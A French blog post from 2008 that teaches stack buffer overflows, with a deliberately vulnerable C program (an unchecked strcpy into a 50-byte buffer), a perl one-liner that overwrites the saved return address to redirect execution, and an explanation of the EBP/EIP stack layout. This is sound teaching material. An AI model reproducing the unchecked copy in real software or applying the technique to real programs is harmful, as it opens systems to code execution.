samedi 22 novembre 2008

Détournement du flux d' execution d' un programme

Ici je vais m' interreser au détournement du flux d' execution d' un programme en C, on s' apercois que c' est assez simple de faire sauter le programme a une adresse choisi et de lui faire executer le code, a condition biensur d' avoir une faille de type "buffer overflow" dans le programme.Voici le code qui va me permettre de le faire:


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copier(char *chaine){
        char buffer[50];
        strcpy(buffer, chaine);
}
void detourne(){
         printf("-== OPERATION REUSSI ==-\n");
}
int main(int argc, char **argv){
        if(argc < 2){
        fprintf(stderr, "hey donne un argument !!\n");
        exit(EXIT_FAILURE);
} else {
        copier(argv[1]);
}
return EXIT_SUCCESS;
}


j' ai volontairement écris la fonction copier() qui apel la fonction strcpy() et biensur strcpy() ne controle pas le nombre de caractères qui va être écris dans la variable buffer qui elle ne peut en contenir que 50.
Voila le résultat que j' obtient en envoyant 54 'A' + l' adresse de la fonction detourne dans argv[1] :
$ ./bof $(perl -e 'print "A" x 54 . "\x4e\x84\x04\x08"')
-== OPERATION REUSSI ==-
Erreur de segmentation

Tout marche bien comme prévu le programme en écrasant les 8 octets suivant le buffer en mémoire a bien sauté a l' adresse de la fonction détourne.
Je pourrais m' arreter la mais il reste quand même beaucoup de questions sans réponse, qu' est ce que j' ai éraser exactement ?

En ce penchant sur l' assembleur on voit que le processeur a plusieur registres, celui qui nous intéresse ici est le registre EIP, ce registre contient toujour l' adresse de la prochaine instruction a executer, juste avec cette info on peut deja imaginer ce qu' il c' est passé.
A l' apel de la fonction copier(), il va ce créer un bloc d' activation pour cette fonction, c' est à dire un espace mémoire (stack ou pile) ou sera stocké le contexte de la fonction, les variables locales (buffer), l' ancien debut du bloc d' activation de la fonction appelante (EBP), puis l' adresse de retour de la fonction (EIP) dans l' ordre. On peut representer simplement la mémoire de cette facon:
[ buffer | EBP | EIP ]
Comme je l' ai dit au dessus EIP contient l' adresse de la prochaine instruction à executer, donc maintenant on peut comprendre pourquoi j' ai du envoyer 54 'A' + l' adresse de la fonction detourne().
Mes 50 premier 'A' on rempli le buffer, j' en est rajouté 4 pour écraser EBP et j' ai rajouté l' adresse de la fonction detourne() qui est sur 4 octets aussi.Donc après avoir copié tout ca dans le buffer la mémoire peut être representez comme ca:
[ AAAAAAAAAA | AAAA | adresse de la fonction detourne ]

Pour trouver l' adresse de la fonction detourne je ne me suis pas embeter :
$ nm ./bof
080495dc d _DYNAMIC
080496b0 d _GLOBAL_OFFSET_TABLE_
0804858c R _IO_stdin_used
w _Jv_RegisterClasses
080495cc d __CTOR_END__
080495c8 d __CTOR_LIST__
080495d4 d __DTOR_END__
080495d0 d __DTOR_LIST__
080485c4 r __FRAME_END__
080495d8 d __JCR_END__
080495d8 d __JCR_LIST__
080496e0 A __bss_start
080496d4 D __data_start
08048540 t __do_global_ctors_aux
080483e0 t __do_global_dtors_aux
080496d8 D __dso_handle
w __gmon_start__
0804853a T __i686.get_pc_thunk.bx
080495c8 d __init_array_end
080495c8 d __init_array_start
080484d0 T __libc_csu_fini
080484e0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
080496e0 A _edata
080496e8 A _end
0804856c T _fini
08048588 R _fp_hw
0804830c T _init
080483b0 T _start
080496e4 b completed.5843
08048434 T copier
080496d4 W data_start
0804844e T detourne <--- l' adresse ici
U exit@@GLIBC_2.0
08048410 t frame_dummy
U fwrite@@GLIBC_2.0
08048462 T main
080496dc d p.5841
U puts@@GLIBC_2.0
080496e0 B stderr@@GLIBC_2.0
U strcpy@@GLIBC_2.0

La commande nm permet d' obtenir la liste des symbols.

Aucun commentaire: